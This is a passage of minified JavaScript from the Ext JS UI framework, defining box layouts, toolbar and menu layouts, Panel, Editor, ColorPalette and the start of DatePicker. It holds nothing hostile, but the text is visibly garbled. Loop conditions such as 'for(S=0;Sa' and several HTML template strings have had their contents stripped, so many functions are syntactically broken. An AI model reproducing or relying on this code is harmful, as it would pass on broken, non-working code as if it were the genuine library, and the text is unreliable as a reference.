a=this.layout.innerCt;if(!this.beforeCt){this.afterCt=a.insertSibling({cls:this.afterCls},"before");this.beforeCt=a.insertSibling({cls:this.beforeCls},"before");this.createWheelListener()}},scrollTo:function(a,b){var d=this.getScrollPosition(),c=a.constrain(0,this.getMaxScrollRight());if(c!=d&&!this.scrolling){if(b==undefined){b=this.animateScroll}this.layout.innerCt.scrollTo("left",c,b?this.getScrollAnim():false);if(b){this.scrolling=true}else{this.scrolling=false;this.updateScrollButtons()}}},getScrollPosition:function(){return parseInt(this.layout.innerCt.dom.scrollLeft,10)||0},getMaxScrollRight:function(){return this.layout.innerCt.dom.scrollWidth-this.layout.innerCt.getWidth()},atExtremeAfter:function(){return this.getScrollPosition()>=this.getMaxScrollRight()}});Ext.layout.boxOverflow.scroller.hbox=Ext.layout.boxOverflow.HorizontalScroller;Ext.layout.HBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"top",type:"hbox",calculateChildBoxes:function(r,b){var F=r.length,R=this.padding,D=R.top,U=R.left,y=D+R.bottom,O=U+R.right,a=b.width-this.scrollOffset,e=b.height,o=Math.max(0,e-y),P=this.pack=="start",W=this.pack=="center",A=this.pack=="end",L=0,Q=0,T=0,l=0,X=0,H=[],k,J,M,V,w,j,S,I,c,x,q,N;for(S=0;Sa;var n=Math.max(0,a-L-O);if(p){for(S=0;S0){var C=[];for(var E=0,v=F;Ei.available?1:-1});for(var S=0,v=C.length;S0){I.top=D+q+(z/2)}}U+=I.width+w.right}return{boxes:H,meta:{maxHeight:Q,nonFlexWidth:L,desiredWidth:l,minimumWidth:X,shortfall:l-a,tooNarrow:p}}}});Ext.Container.LAYOUTS.hbox=Ext.layout.HBoxLayout;Ext.layout.VBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"left",type:"vbox",calculateChildBoxes:function(o,b){var E=o.length,R=this.padding,C=R.top,V=R.left,x=C+R.bottom,O=V+R.right,a=b.width-this.scrollOffset,c=b.height,K=Math.max(0,a-O),P=this.pack=="start",X=this.pack=="center",z=this.pack=="end",k=0,u=0,U=0,L=0,m=0,G=[],h,I,N,W,t,g,T,H,S,w,n,d,r;for(T=0;Tc;var q=Math.max(0,(c-k-x));if(l){for(T=0,r=E;T0){var J=[];for(var D=0,r=E;Di.available?1:-1});for(var T=0,r=J.length;T0){H.left=V+w+(y/2)}}C+=H.height+t.bottom}return{boxes:G,meta:{maxWidth:u,nonFlexHeight:k,desiredHeight:L,minimumHeight:m,shortfall:L-c,tooNarrow:l}}}});Ext.Container.LAYOUTS.vbox=Ext.layout.VBoxLayout;Ext.layout.ToolbarLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"toolbar",triggerWidth:18,noItemsMenuText:'
(None)
',lastOverflow:false,tableHTML:['',"","",'",'","","","
','',"",'',"","
","
','',"","","","","","","
",'',"",'',"","
","
",'',"",'',"","
","
","
"].join(""),onLayout:function(e,j){if(!this.leftTr){var h=e.buttonAlign=="center"?"center":"left";j.addClass("x-toolbar-layout-ct");j.insertHtml("beforeEnd",String.format(this.tableHTML,h));this.leftTr=j.child("tr.x-toolbar-left-row",true);this.rightTr=j.child("tr.x-toolbar-right-row",true);this.extrasTr=j.child("tr.x-toolbar-extras-row",true);if(this.hiddenItem==undefined){this.hiddenItems=[]}}var k=e.buttonAlign=="right"?this.rightTr:this.leftTr,l=e.items.items,d=0;for(var b=0,g=l.length,m;b=0&&(d=e[a]);a--){if(!d.firstChild){b.removeChild(d)}}},insertCell:function(e,b,a){var d=document.createElement("td");d.className="x-toolbar-cell";b.insertBefore(d,b.childNodes[a]||null);return d},hideItem:function(a){this.hiddenItems.push(a);a.xtbHidden=true;a.xtbWidth=a.getPositionEl().dom.parentNode.offsetWidth;a.hide()},unhideItem:function(a){a.show();a.xtbHidden=false;this.hiddenItems.remove(a)},getItemWidth:function(a){return a.hidden?(a.xtbWidth||0):a.getPositionEl().dom.parentNode.offsetWidth},fitToSize:function(k){if(this.container.enableOverflow===false){return}var b=k.dom.clientWidth,j=k.dom.firstChild.offsetWidth,m=b-this.triggerWidth,a=this.lastWidth||0,c=this.hiddenItems,e=c.length!=0,n=b>=a;this.lastWidth=b;if(j>b||(e&&n)){var l=this.container.items.items,h=l.length,d=0,o;for(var g=0;gm){if(!(o.hidden||o.xtbHidden)){this.hideItem(o)}}else{if(o.xtbHidden){this.unhideItem(o)}}}}}e=c.length!=0;if(e){this.initMore();if(!this.lastOverflow){this.container.fireEvent("overflowchange",this.container,true);this.lastOverflow=true}}else{if(this.more){this.clearMenu();this.more.destroy();delete this.more;if(this.lastOverflow){this.container.fireEvent("overflowchange",this.container,false);this.lastOverflow=false}}}},createMenuConfig:function(c,a){var b=Ext.apply({},c.initialConfig),d=c.toggleGroup;Ext.copyTo(b,c,["iconCls","icon","itemId","disabled","handler","scope","menu"]);Ext.apply(b,{text:c.overflowText||c.text,hideOnClick:a});if(d||c.enableToggle){Ext.apply(b,{group:d,checked:c.pressed,listeners:{checkchange:function(g,e){c.toggle(e)}}})}delete b.ownerCt;delete b.xtype;delete b.id;return b},addComponentToMenu:function(b,a){if(a instanceof Ext.Toolbar.Separator){b.add("-")}else{if(Ext.isFunction(a.isXType)){if(a.isXType("splitbutton")){b.add(this.createMenuConfig(a,true))}else{if(a.isXType("button")){b.add(this.createMenuConfig(a,!a.menu))}else{if(a.isXType("buttongroup")){a.items.each(function(c){this.addComponentToMenu(b,c)},this)}}}}}},clearMenu:function(){var a=this.moreMenu;if(a&&a.items){a.items.each(function(b){delete b.menu})}},beforeMoreShow:function(h){var b=this.container.items.items,a=b.length,g,e;var c=function(j,i){return j.isXType("buttongroup")&&!(i instanceof Ext.Toolbar.Separator)};this.clearMenu();h.removeAll();for(var d=0;d','','{altText}',"","")}if(g&&!g.rendered){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}var d=this.getItemArgs(g);g.render(g.positionEl=b?this.itemTpl.insertBefore(b,d,true):this.itemTpl.append(e,d,true));g.positionEl.menuItemId=g.getItemId();if(!d.isMenuItem&&d.needsIcon){g.positionEl.addClass("x-menu-list-item-indent")}this.configureItem(g)}else{if(g&&!this.isValidParent(g,e)){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}e.dom.insertBefore(g.getActionEl().dom,b||null)}}},getItemArgs:function(d){var a=d instanceof Ext.menu.Item,b=!(a||d instanceof Ext.menu.Separator);return{isMenuItem:a,needsIcon:b&&(d.icon||d.iconCls),icon:d.icon||Ext.BLANK_IMAGE_URL,iconCls:"x-menu-item-icon "+(d.iconCls||""),itemId:"x-menu-el-"+d.id,itemCls:"x-menu-list-item ",altText:d.altText||""}},isValidParent:function(b,a){return b.el.up("li.x-menu-list-item",5).dom.parentNode===(a.dom||a)},onLayout:function(a,b){Ext.layout.MenuLayout.superclass.onLayout.call(this,a,b);this.doAutoSize()},doAutoSize:function(){var c=this.container,a=c.width;if(c.floating){if(a){c.setWidth(a)}else{if(Ext.isIE){c.setWidth(Ext.isStrict&&(Ext.isIE7||Ext.isIE8||Ext.isIE9)?"auto":c.minWidth);var d=c.getEl(),b=d.dom.offsetWidth;c.setWidth(c.getLayoutTarget().getWidth()+d.getFrameWidth("lr"))}}}}});Ext.Container.LAYOUTS.menu=Ext.layout.MenuLayout;Ext.Viewport=Ext.extend(Ext.Container,{initComponent:function(){Ext.Viewport.superclass.initComponent.call(this);document.getElementsByTagName("html")[0].className+=" x-viewport";this.el=Ext.getBody();this.el.setHeight=Ext.emptyFn;this.el.setWidth=Ext.emptyFn;this.el.setSize=Ext.emptyFn;this.el.dom.scroll="no";this.allowDomMove=false;this.autoWidth=true;this.autoHeight=true;Ext.EventManager.onWindowResize(this.fireResize,this);this.renderTo=this.el},fireResize:function(a,b){this.fireEvent("resize",this,a,b,a,b)}});Ext.reg("viewport",Ext.Viewport);Ext.Panel=Ext.extend(Ext.Container,{baseCls:"x-panel",collapsedCls:"x-panel-collapsed",maskDisabled:true,animCollapse:Ext.enableFx,headerAsText:true,buttonAlign:"right",collapsed:false,collapseFirst:true,minButtonWidth:75,elements:"body",preventBodyReset:false,padding:undefined,resizeEvent:"bodyresize",toolTarget:"header",collapseEl:"bwrap",slideAnchor:"t",disabledClass:"",deferHeight:true,expandDefaults:{duration:0.25},collapseDefaults:{duration:0.25},initComponent:function(){Ext.Panel.superclass.initComponent.call(this);this.addEvents("bodyresize","titlechange","iconchange","collapse","expand","beforecollapse","beforeexpand","beforeclose","close","activate","deactivate");if(this.unstyled){this.baseCls="x-plain"}this.toolbars=[];if(this.tbar){this.elements+=",tbar";this.topToolbar=this.createToolbar(this.tbar);this.tbar=null}if(this.bbar){this.elements+=",bbar";this.bottomToolbar=this.createToolbar(this.bbar);this.bbar=null}if(this.header===true){this.elements+=",header";this.header=null}else{if(this.headerCfg||(this.title&&this.header!==false)){this.elements+=",header"}}if(this.footerCfg||this.footer===true){this.elements+=",footer";this.footer=null}if(this.buttons){this.fbar=this.buttons;this.buttons=null}if(this.fbar){this.createFbar(this.fbar)}if(this.autoLoad){this.on("render",this.doAutoLoad,this,{delay:10})}},createFbar:function(b){var a=this.minButtonWidth;this.elements+=",footer";this.fbar=this.createToolbar(b,{buttonAlign:this.buttonAlign,toolbarCls:"x-panel-fbar",enableOverflow:false,defaults:function(d){return{minWidth:d.minWidth||a}}});this.fbar.items.each(function(d){d.minWidth=d.minWidth||this.minButtonWidth},this);this.buttons=this.fbar.items.items},createToolbar:function(b,c){var a;if(Ext.isArray(b)){b={items:b}}a=b.events?Ext.apply(b,c):this.createComponent(Ext.apply({},b,c),"toolbar");this.toolbars.push(a);return a},createElement:function(a,c){if(this[a]){c.appendChild(this[a].dom);return}if(a==="bwrap"||this.elements.indexOf(a)!=-1){if(this[a+"Cfg"]){this[a]=Ext.fly(c).createChild(this[a+"Cfg"])}else{var b=document.createElement("div");b.className=this[a+"Cls"];this[a]=Ext.get(c.appendChild(b))}if(this[a+"CssClass"]){this[a].addClass(this[a+"CssClass"])}if(this[a+"Style"]){this[a].applyStyles(this[a+"Style"])}}},onRender:function(g,e){Ext.Panel.superclass.onRender.call(this,g,e);this.createClasses();var a=this.el,h=a.dom,k,i;if(this.collapsible&&!this.hideCollapseTool){this.tools=this.tools?this.tools.slice(0):[];this.tools[this.collapseFirst?"unshift":"push"]({id:"toggle",handler:this.toggleCollapse,scope:this})}if(this.tools){i=this.tools;this.elements+=(this.header!==false)?",header":""}this.tools={};a.addClass(this.baseCls);if(h.firstChild){this.header=a.down("."+this.headerCls);this.bwrap=a.down("."+this.bwrapCls);var j=this.bwrap?this.bwrap:a;this.tbar=j.down("."+this.tbarCls);this.body=j.down("."+this.bodyCls);this.bbar=j.down("."+this.bbarCls);this.footer=j.down("."+this.footerCls);this.fromMarkup=true}if(this.preventBodyReset===true){a.addClass("x-panel-reset")}if(this.cls){a.addClass(this.cls)}if(this.buttons){this.elements+=",footer"}if(this.frame){a.insertHtml("afterBegin",String.format(Ext.Element.boxMarkup,this.baseCls));this.createElement("header",h.firstChild.firstChild.firstChild);this.createElement("bwrap",h);k=this.bwrap.dom;var c=h.childNodes[1],b=h.childNodes[2];k.appendChild(c);k.appendChild(b);var l=k.firstChild.firstChild.firstChild;this.createElement("tbar",l);this.createElement("body",l);this.createElement("bbar",l);this.createElement("footer",k.lastChild.firstChild.firstChild);if(!this.footer){this.bwrap.dom.lastChild.className+=" x-panel-nofooter"}this.ft=Ext.get(this.bwrap.dom.lastChild);this.mc=Ext.get(l)}else{this.createElement("header",h);this.createElement("bwrap",h);k=this.bwrap.dom;this.createElement("tbar",k);this.createElement("body",k);this.createElement("bbar",k);this.createElement("footer",k);if(!this.header){this.body.addClass(this.bodyCls+"-noheader");if(this.tbar){this.tbar.addClass(this.tbarCls+"-noheader")}}}if(Ext.isDefined(this.padding)){this.body.setStyle("padding",this.body.addUnits(this.padding))}if(this.border===false){this.el.addClass(this.baseCls+"-noborder");this.body.addClass(this.bodyCls+"-noborder");if(this.header){this.header.addClass(this.headerCls+"-noborder")}if(this.footer){this.footer.addClass(this.footerCls+"-noborder")}if(this.tbar){this.tbar.addClass(this.tbarCls+"-noborder")}if(this.bbar){this.bbar.addClass(this.bbarCls+"-noborder")}}if(this.bodyBorder===false){this.body.addClass(this.bodyCls+"-noborder")}this.bwrap.enableDisplayMode("block");if(this.header){this.header.unselectable();if(this.headerAsText){this.header.dom.innerHTML=''+this.header.dom.innerHTML+"";if(this.iconCls){this.setIconClass(this.iconCls)}}}if(this.floating){this.makeFloating(this.floating)}if(this.collapsible&&this.titleCollapse&&this.header){this.mon(this.header,"click",this.toggleCollapse,this);this.header.setStyle("cursor","pointer")}if(i){this.addTool.apply(this,i)}if(this.fbar){this.footer.addClass("x-panel-btns");this.fbar.ownerCt=this;this.fbar.render(this.footer);this.footer.createChild({cls:"x-clear"})}if(this.tbar&&this.topToolbar){this.topToolbar.ownerCt=this;this.topToolbar.render(this.tbar)}if(this.bbar&&this.bottomToolbar){this.bottomToolbar.ownerCt=this;this.bottomToolbar.render(this.bbar)}},setIconClass:function(b){var a=this.iconCls;this.iconCls=b;if(this.rendered&&this.header){if(this.frame){this.header.addClass("x-panel-icon");this.header.replaceClass(a,this.iconCls)}else{var e=this.header,c=e.child("img.x-panel-inline-icon");if(c){Ext.fly(c).replaceClass(a,this.iconCls)}else{var d=e.child("span."+this.headerTextCls);if(d){Ext.DomHelper.insertBefore(d.dom,{tag:"img",alt:"",src:Ext.BLANK_IMAGE_URL,cls:"x-panel-inline-icon "+this.iconCls})}}}}this.fireEvent("iconchange",this,b,a)},makeFloating:function(a){this.floating=true;this.el=new Ext.Layer(Ext.apply({},a,{shadow:Ext.isDefined(this.shadow)?this.shadow:"sides",shadowOffset:this.shadowOffset,constrain:false,shim:this.shim===false?false:undefined}),this.el)},getTopToolbar:function(){return this.topToolbar},getBottomToolbar:function(){return this.bottomToolbar},getFooterToolbar:function(){return this.fbar},addButton:function(a,c,b){if(!this.fbar){this.createFbar([])}if(c){if(Ext.isString(a)){a={text:a}}a=Ext.apply({handler:c,scope:b},a)}return this.fbar.add(a)},addTool:function(){if(!this.rendered){if(!this.tools){this.tools=[]}Ext.each(arguments,function(a){this.tools.push(a)},this);return}if(!this[this.toolTarget]){return}if(!this.toolTemplate){var h=new Ext.Template('
 
');h.disableFormats=true;h.compile();Ext.Panel.prototype.toolTemplate=h}for(var g=0,d=arguments,c=d.length;g0){Ext.each(this.toolbars,function(c){c.doLayout(undefined,a)});this.syncHeight()}},syncHeight:function(){var b=this.toolbarHeight,c=this.body,a=this.lastSize.height,d;if(this.autoHeight||!Ext.isDefined(a)||a=="auto"){return}if(b!=this.getToolbarHeight()){b=Math.max(0,a-this.getFrameHeight());c.setHeight(b);d=c.getSize();this.toolbarHeight=this.getToolbarHeight();this.onBodyResize(d.width,d.height)}},onShow:function(){if(this.floating){return this.el.show()}Ext.Panel.superclass.onShow.call(this)},onHide:function(){if(this.floating){return this.el.hide()}Ext.Panel.superclass.onHide.call(this)},createToolHandler:function(c,a,d,b){return function(g){c.removeClass(d);if(a.stopEvent!==false){g.stopEvent()}if(a.handler){a.handler.call(a.scope||c,g,c,b,a)}}},afterRender:function(){if(this.floating&&!this.hidden){this.el.show()}if(this.title){this.setTitle(this.title)}Ext.Panel.superclass.afterRender.call(this);if(this.collapsed){this.collapsed=false;this.collapse(false)}this.initEvents()},getKeyMap:function(){if(!this.keyMap){this.keyMap=new Ext.KeyMap(this.el,this.keys)}return this.keyMap},initEvents:function(){if(this.keys){this.getKeyMap()}if(this.draggable){this.initDraggable()}if(this.toolbars.length>0){Ext.each(this.toolbars,function(a){a.doLayout();a.on({scope:this,afterlayout:this.syncHeight,remove:this.syncHeight})},this);this.syncHeight()}},initDraggable:function(){this.dd=new Ext.Panel.DD(this,Ext.isBoolean(this.draggable)?null:this.draggable)},beforeEffect:function(a){if(this.floating){this.el.beforeAction()}if(a!==false){this.el.addClass("x-panel-animated")}},afterEffect:function(a){this.syncShadow();this.el.removeClass("x-panel-animated")},createEffect:function(c,b,d){var e={scope:d,block:true};if(c===true){e.callback=b;return e}else{if(!c.callback){e.callback=b}else{e.callback=function(){b.call(d);Ext.callback(c.callback,c.scope)}}}return Ext.applyIf(e,c)},collapse:function(b){if(this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforecollapse",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.beforeEffect(a);this.onCollapse(a,b);return this},onCollapse:function(a,b){if(a){this[this.collapseEl].slideOut(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterCollapse,this),this.collapseDefaults))}else{this[this.collapseEl].hide(this.hideMode);this.afterCollapse(false)}},afterCollapse:function(a){this.collapsed=true;this.el.addClass(this.collapsedCls);if(a!==false){this[this.collapseEl].hide(this.hideMode)}this.afterEffect(a);this.cascade(function(b){if(b.lastSize){b.lastSize={width:undefined,height:undefined}}});this.fireEvent("collapse",this)},expand:function(b){if(!this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforeexpand",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.el.removeClass(this.collapsedCls);this.beforeEffect(a);this.onExpand(a,b);return this},onExpand:function(a,b){if(a){this[this.collapseEl].slideIn(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterExpand,this),this.expandDefaults))}else{this[this.collapseEl].show(this.hideMode);this.afterExpand(false)}},afterExpand:function(a){this.collapsed=false;if(a!==false){this[this.collapseEl].show(this.hideMode)}this.afterEffect(a);if(this.deferLayout){delete this.deferLayout;this.doLayout(true)}this.fireEvent("expand",this)},toggleCollapse:function(a){this[this.collapsed?"expand":"collapse"](a);return this},onDisable:function(){if(this.rendered&&this.maskDisabled){this.el.mask()}Ext.Panel.superclass.onDisable.call(this)},onEnable:function(){if(this.rendered&&this.maskDisabled){this.el.unmask()}Ext.Panel.superclass.onEnable.call(this)},onResize:function(g,d,c,e){var a=g,b=d;if(Ext.isDefined(a)||Ext.isDefined(b)){if(!this.collapsed){if(Ext.isNumber(a)){this.body.setWidth(a=this.adjustBodyWidth(a-this.getFrameWidth()))}else{if(a=="auto"){a=this.body.setWidth("auto").dom.offsetWidth}else{a=this.body.dom.offsetWidth}}if(this.tbar){this.tbar.setWidth(a);if(this.topToolbar){this.topToolbar.setSize(a)}}if(this.bbar){this.bbar.setWidth(a);if(this.bottomToolbar){this.bottomToolbar.setSize(a);if(Ext.isIE){this.bbar.setStyle("position","static");this.bbar.setStyle("position","")}}}if(this.footer){this.footer.setWidth(a);if(this.fbar){this.fbar.setSize(Ext.isIE?(a-this.footer.getFrameWidth("lr")):"auto")}}if(Ext.isNumber(b)){b=Math.max(0,b-this.getFrameHeight());this.body.setHeight(b)}else{if(b=="auto"){this.body.setHeight(b)}}if(this.disabled&&this.el._mask){this.el._mask.setSize(this.el.dom.clientWidth,this.el.getHeight())}}else{this.queuedBodySize={width:a,height:b};if(!this.queuedExpand&&this.allowQueuedExpand!==false){this.queuedExpand=true;this.on("expand",function(){delete this.queuedExpand;this.onResize(this.queuedBodySize.width,this.queuedBodySize.height)},this,{single:true})}}this.onBodyResize(a,b)}this.syncShadow();Ext.Panel.superclass.onResize.call(this,g,d,c,e)},onBodyResize:function(a,b){this.fireEvent("bodyresize",this,a,b)},getToolbarHeight:function(){var a=0;if(this.rendered){Ext.each(this.toolbars,function(b){a+=b.getHeight()},this)}return a},adjustBodyHeight:function(a){return a},adjustBodyWidth:function(a){return a},onPosition:function(){this.syncShadow()},getFrameWidth:function(){var b=this.el.getFrameWidth("lr")+this.bwrap.getFrameWidth("lr");if(this.frame){var a=this.bwrap.dom.firstChild;b+=(Ext.fly(a).getFrameWidth("l")+Ext.fly(a.firstChild).getFrameWidth("r"));b+=this.mc.getFrameWidth("lr")}return b},getFrameHeight:function(){var a=this.el.getFrameWidth("tb")+this.bwrap.getFrameWidth("tb");a+=(this.tbar?this.tbar.getHeight():0)+(this.bbar?this.bbar.getHeight():0);if(this.frame){a+=this.el.dom.firstChild.offsetHeight+this.ft.dom.offsetHeight+this.mc.getFrameWidth("tb")}else{a+=(this.header?this.header.getHeight():0)+(this.footer?this.footer.getHeight():0)}return a},getInnerWidth:function(){return this.getSize().width-this.getFrameWidth()},getInnerHeight:function(){return this.body.getHeight()},syncShadow:function(){if(this.floating){this.el.sync(true)}},getLayoutTarget:function(){return this.body},getContentTarget:function(){return this.body},setTitle:function(b,a){this.title=b;if(this.header&&this.headerAsText){this.header.child("span").update(b)}if(a){this.setIconClass(a)}this.fireEvent("titlechange",this,b);return this},getUpdater:function(){return this.body.getUpdater()},load:function(){var a=this.body.getUpdater();a.update.apply(a,arguments);return this},beforeDestroy:function(){Ext.Panel.superclass.beforeDestroy.call(this);if(this.header){this.header.removeAllListeners()}if(this.tools){for(var a in this.tools){Ext.destroy(this.tools[a])}}if(this.toolbars.length>0){Ext.each(this.toolbars,function(b){b.un("afterlayout",this.syncHeight,this);b.un("remove",this.syncHeight,this)},this)}if(Ext.isArray(this.buttons)){while(this.buttons.length){Ext.destroy(this.buttons[0])}}if(this.rendered){Ext.destroy(this.ft,this.header,this.footer,this.tbar,this.bbar,this.body,this.mc,this.bwrap,this.dd);if(this.fbar){Ext.destroy(this.fbar,this.fbar.el)}}Ext.destroy(this.toolbars)},createClasses:function(){this.headerCls=this.baseCls+"-header";this.headerTextCls=this.baseCls+"-header-text";this.bwrapCls=this.baseCls+"-bwrap";this.tbarCls=this.baseCls+"-tbar";this.bodyCls=this.baseCls+"-body";this.bbarCls=this.baseCls+"-bbar";this.footerCls=this.baseCls+"-footer"},createGhost:function(a,e,b){var d=document.createElement("div");d.className="x-panel-ghost "+(a?a:"");if(this.header){d.appendChild(this.el.dom.firstChild.cloneNode(true))}Ext.fly(d.appendChild(document.createElement("ul"))).setHeight(this.bwrap.getHeight());d.style.width=this.el.dom.offsetWidth+"px";if(!b){this.container.dom.appendChild(d)}else{Ext.getDom(b).appendChild(d)}if(e!==false&&this.el.useShim!==false){var c=new Ext.Layer({shadow:false,useDisplay:true,constrain:false},d);c.show();return c}else{return new Ext.Element(d)}},doAutoLoad:function(){var a=this.body.getUpdater();if(this.renderer){a.setRenderer(this.renderer)}a.update(Ext.isObject(this.autoLoad)?this.autoLoad:{url:this.autoLoad})},getTool:function(a){return this.tools[a]}});Ext.reg("panel",Ext.Panel);Ext.Editor=function(b,a){if(b.field){this.field=Ext.create(b.field,"textfield");a=Ext.apply({},b);delete a.field}else{this.field=b}Ext.Editor.superclass.constructor.call(this,a)};Ext.extend(Ext.Editor,Ext.Component,{allowBlur:true,value:"",alignment:"c-c?",offsets:[0,0],shadow:"frame",constrain:false,swallowKeys:true,completeOnEnter:true,cancelOnEsc:true,updateEl:false,initComponent:function(){Ext.Editor.superclass.initComponent.call(this);this.addEvents("beforestartedit","startedit","beforecomplete","complete","canceledit","specialkey")},onRender:function(b,a){this.el=new Ext.Layer({shadow:this.shadow,cls:"x-editor",parentEl:b,shim:this.shim,shadowOffset:this.shadowOffset||4,id:this.id,constrain:this.constrain});if(this.zIndex){this.el.setZIndex(this.zIndex)}this.el.setStyle("overflow",Ext.isGecko?"auto":"hidden");if(this.field.msgTarget!="title"){this.field.msgTarget="qtip"}this.field.inEditor=true;this.mon(this.field,{scope:this,blur:this.onBlur,specialkey:this.onSpecialKey});if(this.field.grow){this.mon(this.field,"autosize",this.el.sync,this.el,{delay:1})}this.field.render(this.el).show();this.field.getEl().dom.name="";if(this.swallowKeys){this.field.el.swallowEvent(["keypress","keydown"])}},onSpecialKey:function(g,d){var b=d.getKey(),a=this.completeOnEnter&&b==d.ENTER,c=this.cancelOnEsc&&b==d.ESC;if(a||c){d.stopEvent();if(a){this.completeEdit()}else{this.cancelEdit()}if(g.triggerBlur){g.triggerBlur()}}this.fireEvent("specialkey",g,d)},startEdit:function(b,c){if(this.editing){this.completeEdit()}this.boundEl=Ext.get(b);var a=c!==undefined?c:this.boundEl.dom.innerHTML;if(!this.rendered){this.render(this.parentEl||document.body)}if(this.fireEvent("beforestartedit",this,this.boundEl,a)!==false){this.startValue=a;this.field.reset();this.field.setValue(a);this.realign(true);this.editing=true;this.show()}},doAutoSize:function(){if(this.autoSize){var b=this.boundEl.getSize(),a=this.field.getSize();switch(this.autoSize){case"width":this.setSize(b.width,a.height);break;case"height":this.setSize(a.width,b.height);break;case"none":this.setSize(a.width,a.height);break;default:this.setSize(b.width,b.height)}}},setSize:function(a,b){delete this.field.lastSize;this.field.setSize(a,b);if(this.el){if(Ext.isGecko2||Ext.isOpera||(Ext.isIE7&&Ext.isStrict)){this.el.setSize(a,b)}this.el.sync()}},realign:function(a){if(a===true){this.doAutoSize()}this.el.alignTo(this.boundEl,this.alignment,this.offsets)},completeEdit:function(a){if(!this.editing){return}if(this.field.assertValue){this.field.assertValue()}var b=this.getValue();if(!this.field.isValid()){if(this.revertInvalid!==false){this.cancelEdit(a)}return}if(String(b)===String(this.startValue)&&this.ignoreNoChange){this.hideEdit(a);return}if(this.fireEvent("beforecomplete",this,b,this.startValue)!==false){b=this.getValue();if(this.updateEl&&this.boundEl){this.boundEl.update(b)}this.hideEdit(a);this.fireEvent("complete",this,b,this.startValue)}},onShow:function(){this.el.show();if(this.hideEl!==false){this.boundEl.hide()}this.field.show().focus(false,true);this.fireEvent("startedit",this.boundEl,this.startValue)},cancelEdit:function(a){if(this.editing){var b=this.getValue();this.setValue(this.startValue);this.hideEdit(a);this.fireEvent("canceledit",this,b,this.startValue)}},hideEdit:function(a){if(a!==true){this.editing=false;this.hide()}},onBlur:function(){if(this.allowBlur===true&&this.editing&&this.selectSameEditor!==true){this.completeEdit()}},onHide:function(){if(this.editing){this.completeEdit();return}this.field.blur();if(this.field.collapse){this.field.collapse()}this.el.hide();if(this.hideEl!==false){this.boundEl.show()}},setValue:function(a){this.field.setValue(a)},getValue:function(){return this.field.getValue()},beforeDestroy:function(){Ext.destroyMembers(this,"field");delete this.parentEl;delete this.boundEl}});Ext.reg("editor",Ext.Editor);Ext.ColorPalette=Ext.extend(Ext.Component,{itemCls:"x-color-palette",value:null,clickEvent:"click",ctype:"Ext.ColorPalette",allowReselect:false,colors:["000000","993300","333300","003300","003366","000080","333399","333333","800000","FF6600","808000","008000","008080","0000FF","666699","808080","FF0000","FF9900","99CC00","339966","33CCCC","3366FF","800080","969696","FF00FF","FFCC00","FFFF00","00FF00","00FFFF","00CCFF","993366","C0C0C0","FF99CC","FFCC99","FFFF99","CCFFCC","CCFFFF","99CCFF","CC99FF","FFFFFF"],initComponent:function(){Ext.ColorPalette.superclass.initComponent.call(this);this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope,true)}},onRender:function(b,a){this.autoEl={tag:"div",cls:this.itemCls};Ext.ColorPalette.superclass.onRender.call(this,b,a);var c=this.tpl||new Ext.XTemplate(' ');c.overwrite(this.el,this.colors);this.mon(this.el,this.clickEvent,this.handleClick,this,{delegate:"a"});if(this.clickEvent!="click"){this.mon(this.el,"click",Ext.emptyFn,this,{delegate:"a",preventDefault:true})}},afterRender:function(){Ext.ColorPalette.superclass.afterRender.call(this);if(this.value){var a=this.value;this.value=null;this.select(a,true)}},handleClick:function(b,a){b.preventDefault();if(!this.disabled){var d=a.className.match(/(?:^|\s)color-(.{6})(?:\s|$)/)[1];this.select(d.toUpperCase())}},select:function(b,a){b=b.replace("#","");if(b!=this.value||this.allowReselect){var c=this.el;if(this.value){c.child("a.color-"+this.value).removeClass("x-color-palette-sel")}c.child("a.color-"+b).addClass("x-color-palette-sel");this.value=b;if(a!==true){this.fireEvent("select",this,b)}}}});Ext.reg("colorpalette",Ext.ColorPalette);Ext.DatePicker=Ext.extend(Ext.BoxComponent,{todayText:"Today",okText:" OK ",cancelText:"Cancel",todayTip:"{0} (Spacebar)",minText:"This date is before the minimum date",maxText:"This date is after the maximum date",format:"m/d/y",disabledDaysText:"Disabled",disabledDatesText:"Disabled",monthNames:Date.monthNames,dayNames:Date.dayNames,nextText:"Next Month (Control+Right)",prevText:"Previous Month (Control+Left)",monthYearText:"Choose a month (Control+Up/Down to move years)",startDay:0,showToday:true,focusOnSelect:true,initHour:12,initComponent:function(){Ext.DatePicker.superclass.initComponent.call(this);this.value=this.value?this.value.clearTime(true):new Date().clearTime();this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope||this)}this.initDisabledDays()},initDisabledDays:function(){if(!this.disabledDatesRE&&this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){if(Ext.isArray(a)){this.disabledDates=a;this.disabledDatesRE=null}else{this.disabledDatesRE=a}this.initDisabledDays();this.update(this.value,true)},setDisabledDays:function(a){this.disabledDays=a;this.update(this.value,true)},setMinDate:function(a){this.minDate=a;this.update(this.value,true)},setMaxDate:function(a){this.maxDate=a;this.update(this.value,true)},setValue:function(a){this.value=a.clearTime(true);this.update(this.value)},getValue:function(){return this.value},focus:function(){this.update(this.activeDate)},onEnable:function(a){Ext.DatePicker.superclass.onEnable.call(this);this.doDisabled(false);this.update(a?this.value:this.activeDate);if(Ext.isIE){this.el.repaint()}},onDisable:function(){Ext.DatePicker.superclass.onDisable.call(this);this.doDisabled(true);if(Ext.isIE&&!Ext.isIE8){Ext.each([].concat(this.textNodes,this.el.query("th span")),function(a){Ext.fly(a).repaint()})}},doDisabled:function(a){this.keyNav.setDisabled(a);this.prevRepeater.setDisabled(a);this.nextRepeater.setDisabled(a);if(this.showToday){this.todayKeyListener.setDisabled(a);this.todayBtn.setDisabled(a)}},onRender:function(e,b){var a=['','','",this.showToday?'':"",'
  
